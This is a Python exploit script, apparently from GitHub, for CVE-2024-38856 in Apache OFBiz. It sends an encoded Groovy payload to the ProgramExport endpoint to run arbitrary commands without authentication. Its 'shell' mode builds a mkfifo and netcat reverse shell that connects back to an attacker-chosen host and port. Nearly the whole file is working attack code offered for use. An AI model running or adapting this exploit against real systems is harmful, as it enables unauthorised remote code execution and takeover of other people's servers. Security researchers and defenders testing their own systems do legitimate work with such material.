CVE-2024-38856.py

#!/usr/bin/python3

"""
EXPLOIT - Apache OFBiz - CVE-2024-38856

Author:
    Alisson Faoli
Github:
    https://github.com/AlissonFaoli
LinkedIn:
    https://linkedin.com/in/alisson-faoli/


References:
    https://www.zscaler.com/blogs/security-research/cve-2024-38856-pre-auth-rce-vulnerability-apache-ofbiz
    https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38856
    https://www.cyfirma.com/research/cve-2024-38856-pre-authentication-remote-code-execution-rce-vulnerability-analysis-and-exploitation/
"""

# Python version >= 3.10


import requests, sys, re
requests.urllib3.disable_warnings()


def generate_payload(cmd: str) -> str:
    payload = f'throw new Exception(new ProcessBuilder("sh", "-c", "{cmd}").redirectErrorStream(true).start().inputStream.text)'
    return ''.join([f'\\u{ord(i):04x}' for i in payload])


def exploit(target:str, payload:str) -> str:
    try:
        resp = requests.post(f'{target}/webtools/control/main/ProgramExport', data={'groovyProgram': payload}, verify=False)
    except Exception as error:
        sys.stderr.write(f'[!] Error - {error}\n')
        sys.exit()
    else:
        success = re.search(r'<p>.*java\.lang\.Exception: (.*)\n.*</p>', resp.text)
        result = ''
        if success:
            result = success.group(1)
    return result


def shell(target:str, lhost:str, lport:str) -> None:
    shell_payload = f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {lhost} {lport} >/tmp/f'
    payload = generate_payload(shell_payload)
    try:
        exploit(target, payload)
    except KeyboardInterrupt:
        sys.exit()
    except Exception as error:
        sys.stderr.write(f'[!] Error - {error}\n')


def get_args() -> dict:
    d = {}
    args = sys.argv[2:]
    for i in range(0, len(args), 2):
        arg = args[i]
        val = args[i+1]
        match arg:
            case '-t'|'--target':
                if not val.startswith('http'):
                    val = 'http://' + val
                d['target'] = val.strip('/')
            case '-l'|'--lhost':
                d['lhost'] = val
            case '-p'|'--lport':
                d['lport'] = val
            case '-c'|'--cmd':
                d['cmd'] = val
    return d


def main() -> None:
    help_message = f'Usage:\n\tRCE:\n\t\tpython3 {sys.argv[0]} cmd -t https://10.150.10.200:8443 -c "whoami"\n\tSHELL:\n\t\tpython3 {sys.argv[0]} shell -t https://10.150.10.200:8443 -l 10.150.10.123 -p 4444\n'
    try:
        if len(sys.argv) > 2 and not len(sys.argv) % 2:
            mode = sys.argv[1].lower()
            args = get_args()
            if mode == 'shell' and len(args) == 3:
                shell(args.get('target'), args.get('lhost'), args.get('lport'))
            elif mode == 'cmd' and len(args) == 2:
                print(exploit(args.get('target'), generate_payload(args.get('cmd'))))
            else:
                sys.stderr.write(help_message)
        else:
            print(help_message)
    except:
        sys.stderr.write(help_message)



if __name__ == '__main__':
    main()